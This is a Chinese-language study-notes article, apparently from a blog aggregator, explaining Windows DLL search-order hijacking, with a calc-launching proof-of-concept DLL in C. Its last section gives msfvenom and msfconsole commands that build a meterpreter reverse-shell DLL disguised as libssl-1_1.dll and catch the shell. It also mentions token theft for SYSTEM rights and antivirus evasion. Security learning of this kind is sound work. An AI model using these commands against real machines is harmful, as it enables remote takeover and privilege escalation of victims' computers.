DLL劫持漏洞

以下是自己學習時做的一些筆記,希望對各位有所幫助

DLL劫持漏洞

為什么程序中會有dll的存在

對于 Windows 操作系統,操作系統的大部分功能都由 DLL 提供。 另外,當您在這些 Windows 操作系統之一上運行某一程序時,該程序的很多功能可能是由 DLL 提供的。 例如,某些程序可能包含很多不同的模塊,而該程序的每個模塊都包含在 DLL 中并從中分發。

使用 DLL 有助于促進代碼的模塊化、代碼重用、內存的有效使用和減少所占用的磁盤空間。 因此,操作系統和程序能夠更快地加載和運行,并且在計算機中占用較少的磁盤空間。

當程序使用 DLL 時,一個稱為依賴性的問題可能導致該程序無法運行。 當程序使用 DLL 時,就會創建一個依賴項。 如果其他程序改寫和損壞了該依賴項,原來的那個程序就可能無法成功運行。

為什么程序會使用dll

dll的優點

使用較少的資源

當多個程序使用同一個函數庫時,DLL 可以減少在磁盤和物理內存中加載的代碼的重復量。 這不僅可以大大影響在前臺運行的程序,而且可以大大影響其他在 Windows 操作系統上運行的程序。

推廣模塊式體系結構

DLL 有助于促進模塊式程序的開發。 這可以幫助你開發要求提供多個語言版本的大型程序或要求具有模塊式體系結構的程序。 模塊式程序的一個示例是具有多個可以在運行時動態加載的模塊的計帳程序。

簡化部署和安裝

當 DLL 中的函數需要更新或修復時,部署和安裝 DLL 不要求重新建立程序與該 DLL 的鏈接。 此外,如果多個程序使用同一個 DLL,那么多個程序都將從該更新或修復中獲益。 當您使用定期更新或修復的第三方 DLL 時,此問題可能會更頻繁地出現。

dll的定義:

DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置于系統中。當我們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可使用多個DLL文件,一個DLL文件也可能被不同的應用程序使用,這樣的DLL文件被稱為共享DLL文件。

如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客能夠將惡意的DLL放在優先于正常DLL所在的目錄,就能夠欺騙系統優先加載惡意DLL,來實現“劫持”

dll故障排除工具

Dependency Walker

Dependency Walker 工具可以遞歸掃描以尋找程序所使用的所有依賴 DLL。 在 Dependency Walker 中打開程序時,Dependency Walker 會執行下列檢查:

Dependency Walker 檢查是否丟失 DLL。

Dependency Walker 檢查是否存在無效的程序文件或 DLL。

Dependency Walker 檢查導入函數和導出函數是否匹配。

Dependency Walker 檢查是否存在循環依賴性錯誤。

Dependency Walker 檢查是否存在由于針對另一不同操作系統而無效的模塊。

通過使用 Dependency Walker,您可以記錄程序使用的所有 DLL。 這可能有助于避免和更正將來可能發生的 DLL 問題。 安裝 Visual Studio 6.0 時,Dependency Walker 將位于以下目錄中:

drive\Program Files\Microsoft Visual Studio\Common\Tools

劫持漏洞的產生

這里我查看資料理解的意思是,就是自己編寫dll代碼,然后把這個代碼放到你要劫持的同一個目錄下,然后程序運行時,則會優先運行你的dll,只要你的dll代碼優先級高于它本身的dll就可以實現dll劫持。

dll劫持漏洞

編寫dll劫持漏洞的代碼

我們有的時候寫入的dll代碼有的時候程序運行起來,可能會報錯,但這個時候我們可以做的是,在我們自己寫的dll里面加入反調用函數,直接調用程序本身的dll,使得程序正常運行起來。

用C編寫

運行了一下dll后,會彈出一個計算器

#include "stdafx.h"

BOOL APIENTRY DllMain(HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

WinExec("calc", SW_NORMAL);

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

extern "C" __declspec(dllexport) void PlaySoundA()

{

WinExec("calc", SW_NORMAL);

}

#include <Windows.h>

extern "C" int __declspec(dllexport)add(int x, int y)

{

?????? return x + y;

}

extern "C" int __declspec(dllexport)sub(int x, int y)

{

?????? return x - y;

}

extern "C" int __declspec(dllexport)mul(int x, int y)

{

?????? return x * y;

}

extern "C" int __declspec(dllexport)divs(int x, int y)

{

?????? return x / y;

}

BOOL APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid)

{

?????? return true;

}

用msf進行dll漏洞劫持

我們一開始先查找程序的dll,然后我們要去寫一個和程序名字相同的dll,只不過這里的dll是我們用msf生成的木馬病毒

命令如下

生成一個dll病毒

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.134? lport=6677 -f dll >./libssl-1_1.dll

然后將這個文件放到程序同一個目錄下,然后運行這個程序

然后我們這只要監聽端口,等著反彈shell就ok

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.8.134

set lport 6677

run

這里可以配合令牌竊取,然后就可以拿到system權限

免殺

就是對我們寫好的dll文件頭部進行隱藏,修改成正常的dll文件,但核心還是一個病毒的程序。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/163424.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/163424.shtml
英文地址,請注明出處:http://en.pswp.cn/news/163424.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

paddle ocr開啟mkldnn加速后圖片識別精度下降

背景 使用ocr_system調用微調模型時發現部分圖片在設置enable_mkldnnTrue后出現識別精度下降問題 環境&#xff1a; paddle2.5.1 paddlehub2.3.1 python3.8.6 解決方案 tools\infer\utility.py文件中 line 269行左右&#xff0c; 在代碼config.delete_pass("matmul_t…

【華為OD題庫-035】數據最節約的備份方法-java

題目 有若干個文件&#xff0c;使用刻錄光盤的方式進行備份&#xff0c;假設每張光盤的容量是500MB.求使用光盤最少的文件分布方式。所有文件的大小都是整數MB&#xff0c;且不超過500MB:文件不能分割、分卷打包 輸入描述: 一組文件大小的數據 輸出描述: 使用光盤的數量 補充說…

如何通過類似于Android adb install apk 命令安裝三方Harmony Hap包

安裝命令 hdc install xxx.hapOpenHarmony設備安裝Hap應用的五種方式 https://www.51cto.com/article/762223.htmlhttps://www.51cto.com/article/762223.html DevEco Studio 3.1為例新建個項目&#xff0c;點擊File->Project Structure 進入簽名頁面然后點擊Sign in登錄華…

Adobe 家族系列download

adobe 前言 Adobe公司的產品線中擁有多個家族桶&#xff0c;下面是Adobe全家桶產品的功能介紹&#xff1a; Creative Cloud&#xff08;創意云&#xff09;&#xff1a;包含Photoshop、Illustrator、InDesign、Premiere Pro、After Effects、Lightroom等創意設計、視頻制作和…

計算機體系結構習題及解答

Exercise For the 5-stage pipeline (RR and RW take half a cycle) For the following pairs of instructions, how many stalls will the 2nd instruction experience (with and without bypassing)? 1. ADD R3 ?R1R2 ADD R5 ? R3R4 Answer&#xff1a;0 stall wi…

java springboot測試類鑒定虛擬MVC請求 返回內容與預期值是否相同

上文 java springboot測試類鑒定虛擬MVC運行值與預期值是否相同 中 我們驗證了它HTTP的返回狀態 簡單說 校驗了他 是否成功的狀態 這次 我們來不對得到的內容 我們 直接改寫測試類代碼如下 package com.example.webdom;import org.junit.jupiter.api.Test; import org.springf…

【實驗筆記】C語言實驗——超長正整數的減法運算

[問題描述] 編寫程序實現兩個超長正整數(每個最長80位數字)的減法運算。 [輸入形式] 從鍵盤讀入兩個整數&#xff0c;要考慮輸入高位可能為0的情況(如00083) 1.第一行是超長正整數A; 2.第二行是超長正整數B; [輸出形式] 輸出只有一行&#xff0c;是長整數A減去長整數B的運…

FreeRTOS學習之路,以STM32F103C8T6為實驗MCU(2-3:任務切換)

學習之路主要為FreeRTOS操作系統在STM32F103&#xff08;STM32F103C8T6&#xff09;上的運用&#xff0c;采用的是標準庫編程的方式&#xff0c;使用的IDE為KEIL5。 注意&#xff01;&#xff01;&#xff01;本學習之路可以通過購買STM32最小系統板以及部分配件的方式進行學習…

使用 css 實現文字單行居右, 換行居左展示

給外層盒子設置居右展示, 子盒子設置居左。 原理是&#xff0c;如果子盒子沒有換行&#xff0c;那么子盒子的長度就是內容的長度&#xff0c;它根本沒有空間將字體移動居左&#xff0c;父盒子的居左樣式就會生效&#xff0c;子盒子就會居左展示。 當子盒子里面的文字換行了&…

3.1 Linux時間子系統

目錄 一時間子系統作用二 時間子系統初始化三 時間子系統框架 一時間子系統作用 1 提供時間 2 提供時鐘 3 提供進程輪詢 從應用層&#xff0c;分析其使用方法 從驅動層&#xff0c;給出timer和hrtimer的使用示例 二 時間子系統初始化 分別從介紹各個模塊初始化做了些什么工作…

在SOLIDWORKS中如何提升保存PDF版本文件的清晰度

隨著Solidworks年復一年的不斷更新&#xff0c;不僅僅是整個軟件的性能上的提升&#xff0c;其在輸出文件的功能上也同樣在精益求精。 但對于老版本的使用者和希望能讓輸出文件清晰度更進一步的使用者而言&#xff0c;可能目前我們所能達到的普通文件輸出清晰度遠遠無法達到他們…

如何將ONLYOFFICE與Python應用程序集成

ONLYOFFICE是一項功能強大的開源文檔編輯器&#xff0c;可以將文本文檔、電子表格和演示文稿、電子表單編輯功能集成至任何編程語言編寫的 Web 應用程序中。最新的7.5版本編輯器可以支持編輯PDF文件&#xff08;批注、繪圖等&#xff09;。在本文中&#xff0c;我們會帶你了解如…

【分享】Java Builder 建造者模式之案例分享

介紹 建造者模式&#xff08;Builder&#xff09;核心目的是通過使用多個簡單對象一步步構建出一個復雜對象。通過將復雜對象的構造過程拆分為多個簡單的步驟&#xff0c;使得創建對象更加靈活&#xff0c;可讀性和可維護性更強。 使用場景 創建一個由多個部分組成的復雜對象…

這樣寫Allure生成測試報告,學會直接漲薪5k

Allure是一個開源的測試報告生成框架&#xff0c;提供了測試報告定制化功能&#xff0c;相較于我們之前使用過pytest-html插件生成的html格式的測試報告&#xff0c;通過Allure生成的報告更加規范、清晰、美觀。 pytest框架支持使用Allure生成測試報告&#xff0c;接下來讓介紹…

SpringBoot整合knife4j生成Api文檔

一、介紹 先看效果 ①&#xff1a;Swagger 介紹 Swagger 是一個規范和完整的框架&#xff0c;用于生成、描述、調用和可視化 RESTful 風格的 Web 服務(https://swagger.io/)。 它的主要作用是&#xff1a; 使得前后端分離開發更加方便&#xff0c;有利于團隊協作 接口的文檔…

Doris-集群部署(四)

創建目錄并拷貝編譯后的文件 1&#xff09;創建目錄并拷貝編譯后的文件 mkdir /opt/module/apache-doris-0.15.0 cp -r /opt/software/apache-doris-0.15.0-incubating-src/output /opt/module/apache-doris-0.15.02&#xff09;修改可打開文件數&#xff08;每個節點&#x…

oracle數據庫巡檢常見腳本-系列三

簡介 作為數據庫管理員&#xff08;DBA&#xff09;&#xff0c;定期進行數據庫的日常巡檢是非常重要的。以下是一些原因&#xff1a; 保證系統的穩定性&#xff1a;通過定期巡檢&#xff0c;DBA可以發現并及時解決可能導致系統不穩定的問題&#xff0c;如性能瓶頸、資源利用率…

TIDB基礎

TIDB整個邏輯架構跟MYSQL類似&#xff0c;如下&#xff1a; TIDB集群&#xff1a;相當于MYSQL的數據庫服務器&#xff0c;區別是MYSQL數據庫服務器為單進程的&#xff0c;TIDB集群為分布式多進程的。 數據庫&#xff1a;同MYSQL數據庫&#xff0c;數據庫屬于集群&#xff0c;…